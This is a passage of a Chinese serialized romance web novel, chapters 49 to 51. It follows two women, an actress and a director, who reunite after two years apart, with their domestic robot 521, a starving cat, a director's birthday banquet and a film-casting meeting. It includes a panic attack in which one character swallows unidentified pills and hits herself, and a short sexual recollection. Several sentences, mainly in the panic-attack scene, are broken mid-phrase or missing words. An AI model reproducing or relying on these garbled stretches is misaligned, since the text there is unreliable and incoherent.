521卡着点才衣帽间溜出来,伴随着门开的声音,它滴滴答答的唱着儿歌,一边喊:“主人主人主人。” 陆嵬皱着眉看它。 521从另一侧绕到了黎数的身边,抱着她的腰,大眼睛眨巴眨巴:“我把衣服都收拾好啦。” 黎数被她拉着去衣帽间看了一眼。 521比不上人类灵活,但每一个细节都很精细,衣帽间里都是两年前的旧衣服,黎数看了会,忽然给春风打了个电话,让她把车开过来。 她把地址给春风发过去,然后拍拍521的脑袋,说道:“帮我收拾行李。” 陆嵬从客厅走进来,看到黎数的动作以后愣了愣,说道:“收拾行李做什么?” 黎数只拿出来了一部分夏天要穿的衣服,行李箱就放在衣帽间最上方的柜子上,她取下来,回头淡淡地说:“不是找替身吗?那总要有替身的样子,以前的衣服我穿惯了,也很喜欢,扔了太浪费了。” 陆嵬懵懵的点点头,下意识往里走了两步,但夏天的衣服很好收拾,有521帮忙,两个行李箱就塞的差不多了。 陆嵬没插上手,这时候小声的问:“你还跟我回紫檀吗?” 黎数回头看了她一眼,说道:“你想留在这里住也可以。” 但这里其实并不太合适住,虽然也是很不错的小区,但保密性和私密性并没有紫檀强,虽然舆论和绯闻是陆嵬要的,但她更需要的是在掌控之中的。 简单的收拾了一点行李,和黎数以前用的顺手的东西,最后看了一眼,黎数拿好桌子上的存折和现金离开了家。 路上陆嵬主动接过了行李,黎数也没和她拉扯,但521和陆嵬抢了一下,没抢过,气的一阵的‘啊啊’乱叫,说陆嵬剥夺了它作为机器人的人格尊严。 陆嵬当它在狗叫,和黎数找话说:“这个行李箱是你以前去剧组时经常会用的。” 黎数‘嗯’了声,“这个行李箱很好用,但密码锁有点卡顿,我最后一次去剧组,用的是另外一个新箱子。” 陆嵬闭上了嘴。 那个新箱子她见过,也是个黑箱子,但比较大,和521的高度接近,但同样也在两年前被埋在了六陇市。 提起六陇市,陆嵬的心头就像是压上了万斤的包袱,沉甸甸的喘不上气。 春风和张姨都在小区前面等,房车在市区里实在是太少见,何况是这种光款式看上去就写满了‘我很贵’的,车停在小区门口,附近围了一圈小孩和带孩子的老人。 黎数皱了皱眉。 没料到这一点,她以前的房车和普通的超市冷链车外观上没什么区别,加上用的也久了,所以并不多高调,也没出现过像是这种被围观的事情。 车被包围,春风老早就跑下来了,和张姨一起站在陆嵬的车边,完全融入了围观的大队伍,好像那车跟她们毫无关系。 陆嵬直接把行李放在了后车厢,先是看了眼黎数,才对春风说:“你先把房车开回去吧。” 春风没直接听陆嵬的,先看了眼黎数。 黎数‘嗯’了声,说:“先开回紫檀吧,明天带你去参加个大导的生日宴,车上空间大,你可以打包不少东西。” 春风登时兴高采烈的手舞足蹈着跑了。 黎数让陆嵬先带着她去了一趟中心医院。 她没有下车,把手上的东西都交给了陆嵬。 陆嵬拿着手上分量不算轻的现金和金条,抿抿唇说道:“你不去吗?” 黎数说:“不了,没有见的必要。” 陆嵬下了车,走出了一段马路后转过头,看着车里的黎数。 不知不觉间冷汗已经爬满了她的后背,四肢百骸都腾起了一阵劫后余生的麻痹感。 她在后怕。 她后来问过护士长。 护士长告诉她,那天一个名叫齐若兰的癌症患者突然像是发疯了似的,一直喊着‘数数、小数’这个名字,然后从病房里冲了出来,扎着针的手血流了一地,弄得清洁工抱怨了很久。 陆嵬当时问她有没有找到那个‘数数’,护士长回忆了一会,说:“没有。” 黎数打算就这样悄无声息的从亲生母亲的生命中彻底消失。 以一个钱情两清,互不亏欠的方法,彻底断了瓜葛。 即便以后齐若兰在电视上、新闻里再看到黎数,也根本不可能会把两个人联系到一起去。 因为现在的黎数有身份意义上的家人,有一个完全迥然不同的人生,且是一个完完全全的独立的人。 如果自己没有认出来黎数…… 大夏天太阳照的人皮肤生疼,陆嵬却分不清脸上到底是热出的汗还是冷汗,只知道身体由内而外的发寒,甚至引起了阵阵的颤栗,不受控制的打了几个哆嗦。 佯装着平静,陆嵬做完了黎数交代的事情重新回到车上,给黎数带了杯她以前很爱喝的一家奶茶店的乌龙茶,没加糖。 和黎数上次随便找的一家店买的不同,这个店是个连锁店,但只限申海市小范围特供,跑腿的价格有点贵,黎数一般都是开车出来,或者是路过的时候才尝一杯。 黎数抿了一口,入口回甘清爽,的确缓和了这一天下来的诸多情绪。 黎数说:“没想到这家店还在。” 陆嵬买的是同一款,茶有点冰,冻得手心生疼,她换了只手拿,但手还有些微微的颤抖,欲盖弥彰似的把茶放在了卡座上。 收回手,互相握着,勉强止住了,陆嵬点了点头,抹了一把额头上的细汗说:“是不错,这家店的配方521也有,以后可以让它给你做。” 521系着安全带从副驾驶回头,但*它没有脖子,很拼命也只能露出一边的眼睛看黎数,“主人主人,你以后想喝什么都可以告诉我,虽然我做饭一般,但是我泡茶超绝的!” 黎数终于露出了一天以来的第一个称得上是轻松的笑,说道:“好。” 陆嵬从车窗的倒影看着黎数脸上的笑,不着痕迹的吐出一口气,闭着眼睛,喉咙哽的生疼。 521又喜滋滋的扭过头。 注意到521称呼的变化,张姐从后视镜向后面略扫了一眼。 但她并未有什么表示,车依然开的很稳- 回去以后,黎数将所有的衣服清理好,时间已经快到傍晚了。 她换上了自己以前的睡衣,时隔两年,似乎除了柔软一点,这些衣服都没有任何的变化,还散发着以前她常用的一款洗衣液的味道,一问521才知道,是昨天陆嵬叫的保洁已经清洗过了。 “陆嵬经常叫人去清理的。”521说:“衣服一般是每个月会洗一次,之后都会用防尘袋包裹起来,她也经常会带着元宝一起去住一晚。” 黎数一愣:“带着元宝一起?” 黎数瞬间想到了之前几次陆嵬晚上单独带着元宝出门的情况。 她那个时候根本想不到陆嵬深夜带着元宝去做什么,第一反应是元宝身体虚弱可能要去打营养针,但没想到陆嵬是带着元宝回她们两个住了七年多的房子里住。 521点头,过了会快乐的说:“主人主人,周姨做好饭了,我们去吃饭。” 黎数回过神,和521一起下楼。 521的身体构造上下楼梯很慢,所以黎数和它一起乘坐的电梯。 电梯门刚一打开,正准备出去的黎数和正准备进来的陆嵬撞了个正着。 黎数还没开口说话,陆嵬见到她的那一瞬间却怔住了。 黎数穿着和两年前一般无二的衣服站在她面前,目光还是温和恬淡的,温度开始下降的傍晚,中央空调里徐徐吹出的自然风,一楼清淡的饭菜香气里,七百多个日夜的凌迟和悔恨,两年多的分别似乎从没出现过。 陆嵬眼眶忍不住湿润,不受控制的上前两步,在电梯门关闭前和黎数拥抱。 她把头埋在黎数颈侧,哽咽道:“我只是想抱抱你,别推开我。” 第50章 第五十章【VIP】 这个拥抱没有持续多久,或许只有很短暂的几秒钟。 黎数的笑容就像是见到了一个多年不见的朋友,在短暂相拥后,她拍了拍陆嵬的肩膀,笑着说:“吃饭吧。” 陆嵬放开了拥抱,看着黎数头也不回的走向餐桌,在原地深呼吸了片刻,抿抿唇,鼓足勇气重新跟上去。 在鸿景苑时说的一切都太慌忙,两年的时间,她有太多想问的,也有太多想和黎数说的。 这次陆嵬还是坐到了黎数对面的位置,拉开椅子坐下时,黎数抬眸看她,微微怔了下。 “菜色我让周姨按照清淡开胃的口味随便做的,菜系多,不互冲,你尝尝看。” 陆嵬率先打破沉默,她像是不太习惯和黎数之间这样的开场白,略显无措的看了看桌上。 随后拿起勺子,给黎数挖了一勺嫩的像布丁一样的蛋羹,问她:“中午太匆忙,我忘了问你,你是……什么时候……” 黎数没拒绝,夹了一点吃,入口即化,不腥不腻,很清爽的口感。 笼罩了她一下午的乱糟糟的情绪被美食抚平了些,陆嵬既然开了这个话茬,她就顺势说了:“今年的二月十四日。” 陆嵬对上黎数的双眼:“那凝雪姐说的没错,我的确是运气好。只一个《秘宝》剧组,想签下你的人就有四五个之多,但凡我晚一步,你和我就真的陌路了。” 黎数猛然听到沈凝雪的名字,捏着筷子的手紧了紧,但很快调整好情绪,说:“我也是第一次知道我这么受欢迎。” 陆嵬说:“以前向你抛出橄榄枝的人也不少,只是你都以和前经纪人合作很愉快为由拒了。” 黎数笑了笑:“曲心然虽然能力一般,但人不错,对我也很好。” 陆嵬给她倒了杯蕾拉,浓郁的香草味道扑鼻,黎数还闻到了一股烤面包的香气。 陆嵬说:“你当初为什么不去找她?随便找个什么借口,她都可以帮你摆脱一统那个虎狼窝。” 黎数抿了口,摇摇头说:“我想过,但二百五十万不是个小数目,她也只是一个打工的,我当时一无成绩二无能力,何必给人添麻烦。” “你和她也共事了将近十年,不怀念吗?” 陆嵬看起来像是漫不经心的闲聊,实际上一字一句都是痛点。 像下午时拜托陆嵬将那笔钱代转,一语带过说‘没有再见面的必要’。 黎数知道她言下之意到底想问什么,又抿了口酒,嘴唇湿润鲜红,被红酒浸润出很漂亮的色彩。 黎数说:“有默契不代表就一定要继续合作,人生在不同的阶段,不同的节点上总会有新的想法和追求,她有她想守的,我也有我想要的,和她一起工作了十年,够了。” 简单掠过这个话题,黎数重新端详了会陆嵬半白的头发,沉默了几秒,低声说:“你这两年,还好吗?” 陆嵬摇了摇头,然而嘴里说的却是:“还好。” 期间521进来过来黏着黎数撒了会娇,侦测到此刻桌面上的气氛是相谈甚欢,和忧心忡忡已经观望许久的周姨去打小报告,拍着胸脯说:“一定没问题,她们聊得可好了。” 吃完饭,两人各自上楼。 陆嵬少见的没去电梯,隔着和黎数相差两阶台阶的距离一前一后上了楼。 二楼入户就是一个偌大的茶室,住在这里的人似乎像是随时做好了抽身离开的打算,规格摆设纹丝未动,茶杯全部倒扣在桌面。 中央的鲜花摆件已经枯萎许久,没有再换新的。 陆嵬静静地望着二楼的卧室大门。 黎数已经进去了,关门前甚至笑着和她说了晚安。 她在原地静静站着,521从电梯里出来,哼着歌敲开了一条门缝,快乐的喊着‘主人’钻了进去。 直到天际最后一丝亮光湮灭,庭院灯自发亮起,直到黎数房间从门缝里透出的灯光变黑,陆嵬才动了动僵直的身体,扶着楼梯的扶手,游魂一样的回到了房间。 她听懂了黎数的未尽之意。 亲情不一定要存续,友情不一定要相见……相爱也未必一定要在一起。 她感觉心脏像是被重物击碎般的痛,又感觉整个人有一种睡梦中一脚踩空的失重和惊惶。 黑暗在这一刻像是具象化成了实体,从四面八方涌来了无比的窒息感,腕表上的数值再一次飙升到临界点,陆嵬跪倒在地上,出了满头的冷汗。 她白着脸从口袋里取出药盒,但手抖的厉害,扣盖的动作都做的极为艰难,急,‘咔哒’一声,药盒脱手,药片散了满地。 脸上分,陆嵬蜷缩在地上,衣服被洇出偏偏深色的痕迹,自责、悔恨、愧疚……她像是要疯了,情绪在大脑肆虐,她站在崩溃的中心,忽然窥照片。 陆嵬头痛欲裂,本能趋势着她一点点爬过去。 可能是背胶松了,被她贴在台灯上的照片掉在了地上,不偏不倚的靠着床头柜立了起来,直直的看着她刚刚所处的方向。 太多的记忆和想法在眼前飞速略过,黎数的一颦一笑最后停留在了她那”,和两年前的二月十四,自己承,会给黎数更好的角色。 “清醒点,醒,妄图可以催眠自己,但效果微乎甚微。 陆嵬垂着头,控制不住思绪,捧着黎数的照片像是捧着什么救命稻草,余光撇到了散落在地上的药,依稀分辨出了最大的那一颗,下意识捻起两片塞到了嘴里。 片刻后,她杨起手,狠狠给了自己一巴掌- 第二天,裘夏带了专业的造型团队来给黎数做妆造。 只是一次简单的探班,但人来都来了,也是提前帮顾宗年试菜。 造型师给黎数戴了假发,摇身一变从清纯学生变成了温柔美人,发尾吹了大卷,整个人显得妩媚成熟又不会显得过于隆重。 但陆嵬的造型做好了以后,黎数愣住了。 “你……”黎数眨了眨眼:“把头发染黑了?” 陆嵬的右脸有些红肿,脸色其实也有些憔悴,所以今天的妆也比较浓,只是因为她皮肤好,精神看起来也还不错,起码眼睛很有神,所以给人的感觉并不显厚重。 看了两年的半衰老的花白色头发,猛地全部染黑,陆嵬一时间自己都没能习惯自己的模样变化。 她少见的有些害羞,在黎数面前拘谨的说:“不好看吗?” 陆嵬平时最多也就只是画个日常妆,日常到可能只打个底,这么精致的打扮过后,黎数不得不承认自己有些移不开眼。 就陆嵬这张脸而言,她要进娱乐圈,走高贵冷艳那一路的女明星都得让路。 黎数摇摇头:“好看。” 她没忘记陆嵬的头发是怎么白的,虽然以前总能听说,或是从影视剧里面看到诸如‘一夜白头’的说法,可当这件事情真的发生到自己身边时,黎数很难以去形容那是一种怎么样的感觉。 心被刺到是真的。 尤其是陆嵬今年才刚刚二十七岁,两年前,她甚至才只有二十五不到,才满天下,没有人不知道她天才的名声。 这样的岁数顶着一头花白的头发,和一双死气沉沉的眼,换了任何一个人看到都会忍不住唏嘘和感同身受的悲伤。 陆嵬笑了笑:“你喜欢就好。” 黎数当然喜欢,过去无数个深夜里,她都要摸着陆嵬的头发入眠。 但现在她只是笑了笑。 黎数的造型相对简单,其实本来也就只是一场探班聚会的便饭,只是因为对象是顾宗年,见的人大都是前辈,而场合也算是隆重,免不了以后会涉及到合作问题,加上也邀请了一些媒体,所以才显得慎重。 见黎数朝她这里看着,陆嵬起身,垂着眼端详了一会,对着旁边的造型师说:“有眼镜吗?找几个细边的,挑素色。” 眼镜算是时尚单品,团队打开一套盒子,琳琅满目十余个。 陆嵬挑了个银色的细边平光镜递给黎数,说:“戴上这个。” 黎数盯着镜子里的自己看了一会,忽然说道:“这个造型,看起来有点像是芝麻馅儿汤圆的。” 她对着镜子变了几个表情和神色,天马行空的随意想着人设,跟着摆弄眼神。 陆嵬静静地看着,过了会说:“证明你的可塑性高。” 黎数从镜子里和陆嵬对视,看到了陆嵬脸上浅淡的笑。 两人离得近,陆嵬迎着光,黎数注意到了她说话时右脸的不对劲,像是疼,说话总是收着的。 “脸怎么了?” 陆嵬冷静说:“睡觉摔到床下了,早上521嘲笑了我很久。” 黎数怀疑可能是因为陆嵬晚上梦游了的缘故,停顿了片刻,委婉的说:“你可以试试在床边加一个护栏。” 陆嵬静静地看了黎数一眼,用尽可能平直的语气说:“以前加过,你忘了?” 黎数一愣,冷不丁回忆起什么,目光躲闪着逃避开了,丢下了一句:“还是算了,没必要。”就跑了。 陆嵬盯着黎数的背影,烟瘾犯了,从口袋里抽出烟盒,一根接着一根的点。 烟雾缭绕,药草捻成的烟丝燃烧,但没有缓解多少她脑子里的黄色废料。 一开始安装护栏,单纯是因为有一年黎数住的小区物业采购的部门种了太多招蚊虫的植物,导致整个小区蚊虫泛滥,家家户户都装了护栏和床帐。 差不多两个月后,所有招虫子的植物被移栽,护栏也就被拆掉了。 但黎数脸红,是因为情到浓时总嫌护栏硌得慌。 偶尔胳膊甩到、腿踢到就要哼哼一阵,但有时候又喜欢,因为可以扶着,腿被抬起来时,除了自己肩膀上,还能有别的落点,小腿被硌到时,就能换脚踩着,也方便她腿分的更开。 最终下定决心要拆掉的原因,是被弄得腿软了,想逃,却连抬起来跨过护栏的力气都没了。 陆嵬连抽了半包烟,顶着一身混杂着药香的烟草味,上楼重新换了一身衣服才下来- 顾宗年的六十整寿手笔很大,直接包了一家五星级酒店来招呼参加的客人,宴会地点不在室内,而是在酒店前的私家园林处,有天然温泉,被一片竹林围绕,还有一整片的露天泳池。 黎数叹为观止。 “这种规模的生日宴,光是收的礼物估计就够我奋斗几辈子了。”黎数说归说,但言语中流露的却没有什么羡慕和嫉妒得意思。 陆嵬知道她其实不喜欢办什么生日宴,更不喜欢迎来送往的人情往来。 从前这些工作都是曲心然代劳,逢年过节、维系往来的礼物收发,除非真的是私下的好友,否则一般都是团队负责。 但陆嵬还是说道:“你喜欢的话,等你生日也来这里。” 黎数一怔,“不用了。” 陆嵬默默地注视着她,一直到剧组的人来了,黎数迎上去和几个熟悉的演员互相打过招呼,又一同上楼。 这次的人来的齐了很多,主演、导演组主要成员,但来来回回也都是这么些熟人。 这次顾宗年那边人也多,喊了不少他在申海市的朋友一起见面,不少人都是黎数知道的业内很专业的老师。 只是也分了主次场,恭维的场面话多了许多,话语间也都围绕着一个月后的相关事宜,以及借着这场生日宴能把什么东西达到利益最大化,又问和费鹤鸣以及《秘宝》之间能不能有什么联动。 且不说《真凶》作为一个重启的项目能不能迎合时下的审美和观众的需求,即便是真的开拍了,但《秘宝》估计那时候都已经上映了。 温永元陆陆续续提了几个建议,但都没落到实处上,毕竟说这些太远,现在扯合作,无非就是白嫖。 但顾忌着他是顾宗年的弟子,在场的人也不好拂了他的面子,嘻嘻哈哈的敷衍着。 顾宗年是今天的主角,但辈分高,更多时候是在笑。 他的助理忙得脚不沾地,头发乱了,眼镜歪了,空调开的足到有些冷的室内都出了一身的汗。 一直到顾宗年宣布落座,所有人这才都像是完成了什么社交任务一样纷纷落座,有了一个喘息的空间。 席间一直有人敬酒,林辰星和黎数等人作为资历最浅的,几乎就得从头喝到尾。 黎数叹了口气。 不论到什么时候,这种场合她还是难以适应,见人说人话见鬼说鬼话,逢迎拍马逐字计较。 顾宗年在主位上突然开口,说道:“小嵬最近是有什么喜事?” 陆嵬的头发染黑了这件事情,从这顿饭还没开始就已经被热烈的讨论过了。 而两年前,陆嵬一夜白头在圈里也是一个传奇。 流传了两年多,到现在每年都还有人拍到陆嵬的照片时,会用“心事重重”“哀莫大于心死”等词汇去形容她,但在事情刚出的时候,更多的人说的是她作戏。 没有人会相信有人会因为虚无缥缈的‘爱情’变成现在这样。 陆嵬抬起头,不咸不淡的扫了一眼顾宗年,说道:“想换个心情罢了。” 陆嵬说完,把黎数酒杯里的酒倒在了自己的杯子里,喝完以后将酒杯倒扣,在桌子上点了点。 这意思是不再喝了。 本来这次来也不是为了喝酒,桌上一阵沉默后,故意仗着辈分灌酒的却是真没了,不少人望向黎数的目光有些躲闪。 顾宗年背靠着椅背,不动声色的打量着黎数和陆嵬。 片刻过后,他露出了些许意味深长的笑来。 “这可是好事啊。”顾宗年笑了笑,“之前因为感情问题,你颓废了整整两年,现在能走出来,重新开始掌镜,开始创作,老师也为你高兴。” 费鹤鸣听他说起‘老师’这两个字,不咸不淡的抬头看了他一眼,但没说什么,只抬起腕表看了看时间,估算着什么时候带着人走。 陆嵬抬起眼皮,“多谢老师关心,瓶颈期写出来的东西不能当真,说是掌镜,也不过是玩闹罢了,帮着我师父盯一下机器,不记名字的,当不得真。” 顾宗年摇了摇头:“怎么能这么说?毕竟都是你的作品,也都是你的积累,老师很期待你能重新拿起笔的那一天。” 陆嵬笑笑,“希望那一天不会让老师失望。” 顾宗年话锋一转,又把目标转到了黎数的身上,他端着酒杯,半真半假的说:“小黎的岁数不大,但性子看着倒是挺稳重的,我常听你们剧组的人夸你,摄影里头有一个老陈,出了名的挑剔不好伺候,还有后期剪辑制作部门,总负责人也是曾经跟我合作过的老人,都对你赞不绝口,以后前途无量,说不定可以合作一把。” 这是明晃晃的邀约。 黎数笑了笑,目光不着痕迹的扫过桌上沉默着、面色各异的重任,重新拿了个新杯子,把酒倒满,冲着顾宗年遥遥举杯,说道:“顾导谬赞了。” 顾宗年笑着,意有所指的说:“他们可是一致把你称作缪斯。” 摄影和剪辑也都是要有效出片的,否则和无用功也没什么差别,但演员演得不好,即便导演喊了过,他们能发挥的空间也始终有限。 所以能有一个好演员,能有一个可以剪出素材的演员出现,对他们而言,也是极为难得也值得振奋的一件事情,被一些文艺迷成为灵感缪斯也不足为奇。 黎数只能笑笑,“是陈哥人好,从来不说人坏话,都是夸奖多。” 顾宗年笑笑,终于暂时打算放过黎数,转而和身边的陆茂低声说起了话。 后半程黎数吃的食不知味。 散场后,黎数和陆嵬上了张姐的车,神色有些恹恹,仰躺着不怎么想说话。 陆嵬的头发刚刚染过,带着染料的清香,像是还专门做了保养,长发划过黎数的手臂的时候一阵阵顺滑到极致的冰凉和柔软。 黎数忍不了,指尖穿过了陆嵬的发丝轻轻顺着,低声说:“顾宗年和我想象中的不太一样。” 不知道什么时候开始,黎数称呼顾宗年已经不在称呼为‘顾导’了,私下里和陆嵬说起他时,更多时候是直呼其名。 陆嵬点点头,低声说:“他从十几年前开始,就已经变了。虽然本来他也不是什么好货色。” 黎数想起陆茂和顾宗年之间交往甚密的样子就皱了皱眉。 顾宗年说陆嵬是他最得意的学生,也说过很感谢陆茂生了这么好的一个女儿。 可陆嵬称呼陆茂的时候,用的是‘生父’。 她还是给陆茂留了几分脸,没在大庭广众之下说这个词,只是在私下无人时这么说。 比起生气、埋怨,黎数更觉得,陆嵬用这个词,像是在撇清什么关系。 她先是说了句:“十几年前,你那时候才多大?” 过了会,黎数把陆嵬的发丝在指尖捏成扇子,又打散,轻轻的顺着她的发梢:“这两年间,你为什么不再继续当导演了?” 听顾宗年的意思,陆嵬不只是不拍戏了,甚至连本子都不写了。 国内近些年来,剧本大量依靠网络IP改编,从电影到电视剧以及综艺,以及很少有专业的人从小众角度出发,真正通过故事去讲解一些什么东西了。 清一色的流水线也导致娱乐圈专业能力整体倒退几十年,随随便便一个长相过得去的人就可以上去演戏,也因为内容问题所以甚至不需要什么演技,随便训练几天就可以。 摄影被归咎于体力活,扛得动机器就被称为摄影老师,灯光组、收声组、道具组……外行充斥的局面比比皆是。 所以像是陆嵬这种有能力自己写本子,也有能力自己掌控全程的自创导演更为稀有且重要。 黎数不相信陆嵬不能创作的原因是因为她,因为陆嵬曾经说过,痛苦是创作的温床,一个创造者,想要写出有生命的东西来,就不能太幸福。 太幸福的人是无法激起人类内心最脆弱的共鸣的。 按照陆嵬曾经的这个想法,这两年间,她应该创作出了更多的内容才对。 陆嵬看着黎数,向她那边侧了侧身子,更方便黎数拨弄她的头发。 闻言她很认真的想了想,说道:“可能就是突然之间没有目标了。” 黎数问她:“那你之前的目标是什么?” 陆嵬斟酌着语气,说话时的腔调显得有些委屈,低着头抬着眼,从下向上看黎数,小声说:“你真的不知道吗?” 本来应该是不知道的,但陆嵬这副作态,黎数又觉得自己好像知道了。 两年前二月十四日那天,陆嵬说‘以后会给你更好的角色,更好的奖项’。 黎数一开始没当真。 现在在想,陆嵬当时说这句话的时候,应该是认真的。 50-60 第51章 第五十一章【VIP】 黎数有点放心不下元宝,回紫檀收拾了一些简便的衣物,顺带接上了521,黎数和陆嵬当天便返回了剧组。 “我走前给元宝放了猫粮,也开了罐头,水也蓄满了。”陆嵬手指捻了下,说道:“也吩咐了酒店的工作人员到时问就去添新的。” 黎数知道陆嵬心细,这种细枝末节的东西她总能注意到,有可能是学导演的人的通病。 路上陆嵬把监控拿给黎数看。 但不出所料,元宝一丁点饭都没吃。 “这么算起来,元宝差不多三顿饭没吃了。”黎数皱了皱眉,有点心疼。 过去了将近四个月,元宝才从一开始瘦骨嶙峋的模样养到了现在的七斤,对于一只刚两岁多的壮年猫来说,这个体重还是偏瘦。 它虽然开始吃东西了,但长期饥饿和营养不良使得它根本吸收不了营养太高的东西,就连增重都增加的很小心。 陆嵬说:“它不愿意跟我走。” 黎数当然没怪她,“我知道。” 陆嵬让张姐加快一点速度。 屏幕里的小猫咪蜷缩在黎数的枕头上,目光紧紧的盯着房门一眨不眨,车程剩下半小时不到,黎数没再继续看,把手机还给陆嵬。 “元宝这种不吃不喝的情况是从什么时候开始的?” 陆嵬垂下头,“从我把它带回紫檀开始。” 黎数想起之前偶然见的那一次,陆嵬全副武装的下楼,像是要给元宝喂饭的模样。 之后她也在陆嵬手臂上看到过不怎么明显的伤痕。 黎数皱了皱眉,说道:“这两年多,你一直都是那样给它硬灌的饭吗?” 陆嵬点了点头。 “一开始在家的时候,给它喂饭的时候它还吃。”陆嵬说:“鸿景苑的管家很负责,联系不上你以后就找到了我。但我把元宝带回紫檀后,它就开始绝食了,对我也开始出现了攻击行为。” “我后来试过把它重新带回去,但是没有用,它开始绝食,并且攻击意向开始变得激烈,我只能把它重新带回去了。” 黎数一时问有些怅然。 元宝只是她捡来的一只小猫,性格和绝大多数的猫都不太一样。 它不拆家,也不随意搞破坏,除了嘴馋一点,粘人一点,笨了一点以外,一点都不像是传统的黑猫。 它可能不懂为什么自已的主人一去不复返,也不懂为什么突然有一天,陆嵬就把它从家里带走,去到了一个陌生的、没有熟悉气味的地方。 黎数没法对陆嵬说‘谢谢’,或许陆嵬也不想听这个词,黎数说:“辛苦了。” 陆嵬沉默着摇了摇头,过了会,她看了黎数一眼,又低下头说:“你回来了,就不辛苦了。它……差一点就撑不下去了。” 黎数想起刚见到元宝时的模样,几乎就像是骨架外面挂了一层皮。 她无数次的庆幸自已还能活着- 陆嵬刚一到酒店,就被正敲她们房门的副导抓了个正着。 黎数和副导打了个招呼,带着521一起先进了门。 元宝一早听见了门口的声音,也听出了是黎数刷房卡的动静。 房门刚一打开,它就‘喵喵’着冲出来了,一下从地上跃到了黎数怀里,疯狂的蹭着黎数的脸和脖子。 521拎着行李箱,很操心的越过了小猫咪走到衣柜边收拾,一边不停地絮叨:“这个家没了我可怎么办呀,这个家可不能没有我呀。” 陆嵬站在门边,这一层的工作人员偶尔经过,但也不是什么私密话题,就在门边说了。 副导终于见着她,颇有点看见了救命稻草的意思:“费导让我过来找你呢,说是给你打电话的时候已经在路上了,那边从中午回来以后就在开会,开到现在都没个结果。” 陆嵬在剧组的地位实在超然特殊,加上这次开会关乎一个重要配角,如果迟迟定不下来,剧组得有相关措施去应对。 陆嵬应了声:“知道了,我这就过去。” 本来她站在门边正手足无措。 心慌、忐忑,不知道该怎么样继续厚着脸皮纠缠,和黎数再继续同住一个屋子,又或许其实黎数本来也不会有异议,一切都只是她自已想多了。 但她控制不住,总是患得患失,害怕情况会变得更糟糕更坏。 副导喊她的时候,黎数才刚刚把罐头给元宝打开,陆嵬和视一眼,悄无声息的关上门,逃了。 她打算等天黑一点再回来,也可以- 电梯上到一半,副导又接了个电话,被通知说会议改了地点,从顶楼套房换到了三楼餐厅。 ,重新按了电梯下行。 酒店包厢里,裘夏正下着一片毛肚,,放进了沈凝雪碗里,自已又下了一盘鸭舌,吃的不亦乐乎。 副导馋的口水流了一地,但也只能遗憾的带着口水去取点便饭,心想或许不忙了可以也组一个熟人局,左右酒店有火锅吃。 陆嵬坐下,沈凝雪已经给她调好了蘸料。 她胃不好,但如果胡吃海塞,火锅偶尔吃一顿也还能消受,道了个谢以后,又说:“聊完了?” 她的话一出,本来在她进来以后就安静了片刻的局面又安静了下。 费鹤鸣到底年纪大了,偶尔在麻辣锅底里面涮两片肉,但大多时候吃的还是易消化的素食。 闻言她说道:“也见了几个,都不行。还不如汪兰。” 主题还是离不了左碧君的选角,其实汪兰算是合适的,因为左碧君戏份并不重,出演左碧君的人不需要多出彩,只要不拖后腿,能把费鹤鸣想要的画面给完整的呈现出来就足够了。 费鹤鸣很不解:“试的几个片段都各有各的问题,但无伤大雅,都能调教,但一旦到了动真格的时候,就僵硬的像个木头。” 陆嵬忙里偷闲,晚饭吃这么一顿火锅,应该也就不用再吃别的了。 中午那顿饭局,喝的酒比吃的饭多,上的大部分菜色也不是为了吃饱。 顾宗年从头到尾有一搭没一搭的找黎数说话,弄得黎数吃都没法吃大口,只能挑拣点不耽误说话的东西吃。 听她们说,陆嵬一心二用的拿出手机,偷偷给黎数发信息。 但说什么又犯了难,想直接说在吃火锅,可以给她打包一些爱吃的,再调好蘸料,怕会被黎数一口回绝,拐弯抹角让黎数直接过来,又担心黎数不喜欢这种场合,来了徒增尴尬。 最终陆嵬发了个很不聪明的一句话。 【陆嵬:晚饭想吃什么?】 黎数还没回复。 来的时候黎数还在喂元宝吃饭,一时半会可能抽不开手。 自从黎数回来以后,元宝吃饭的时候格外磨叽,吃一口就要抬头看黎数一会,偶尔还要黎数陪着玩一会再继续吃,或者黎数多哄哄、多喂喂就能多吃两口。 黎数也总是乐此不疲。 以前她还能使小性子,说黎数对猫比对她都好,现在却没了说这话的立场和身份。 等待的功夫,陆嵬抽空回了句:“动什么真格?” 沈凝雪一顿饭没吃多少,她很注重养生,口味也淡,紧着菌汤锅里的素食吃了点就放下了筷子,闻言笑了笑,说道:“费导还是用的同一个试镜片段,一共找来了四五个,每次我一坐到她们腿上就不行了。” 女生和女生之问可以亲昵的亲吻、拥抱、同住同睡,但不代表暧昧。 一旦知道了要奔着暧昧去的话,表演的性质就变了。 试镜时的片段不可能给剧本,有了汪兰的教训在先,费鹤鸣这次挑人主要看的就是适配度,但很多人回错了意,演的像是油田。 黎数不在,她还特意找了沈凝雪来帮忙,但可惜,现在的演员的确良莠不齐,没一个给得出她想要的东西。 裘夏恶狠狠的咬筷子,很不是滋味的斜眼看陆嵬:“小黎昨天不在,本来该她干的活儿都让我老婆干了!” 沈凝雪拍拍裘夏的腿,裘夏轻哼一声,又埋头继续扒饭。 在场所有人也就她一个胃口超绝,不养生,没胃病,年纪也正好,桌上一大半的空盘都是她干的。 但能从正经房问转到吃火锅闲聊,想必是已经有了个结果。 陆嵬又掏出手机看,黎数还没回,她耐着性子,说:“最后定的谁?人选是有问题吗?” 沈凝雪很忙碌的给裘夏倒茶,裘夏吃的太辣,喝热茶雪上加霜,她又给裘夏倒果汁。 裘夏嘴里塞满,一个字儿都说不出来,吃爽了,把头砸在沈凝雪肩头蹭了蹭。 总之两个人各有各的忙。 费鹤鸣扛着压力,冷静的说:“经过我们一致讨论决定,推荐你上。” 陆嵬神色不动:“我不是专业演员,这不好笑。” “你少来。”裘夏看热闹不嫌事儿大,“你自已挑担子拍戏的时候,一个人把所有人的活都给干了,什么你没做过?亲自上阵教小演员演戏都能教,怎么就不能自已演了?没人家专业也不代表不能演,再说了……” 裘夏话锋一转,笑的有点猥琐:*“中午那会就看着你和小黎不太对劲,你真不想跟小黎一起拍?” 陆嵬猝不及防,被裘夏说中了唯一一个值得她心动的点。 手机刚巧震了震,陆嵬低头一看,置顶信息上,黎数的头像多了一个小红1。 【黎数:吃过了。】 她从出门到现在,拢共也没几分钟,走时黎数都还在喂元宝吃饭,现在就说已经吃过了晚饭。 陆嵬没什么表情,垂着眼,手指动了动,抿着唇回复:【宵夜呢?】 费鹤鸣的角度还是从专业出发:“《秘宝》拍摄到现在,除了我和小霜以外,唯一一个能说把人物灵魂吃透了的人就只有你,你来演左碧君,兴许能把她演活。” 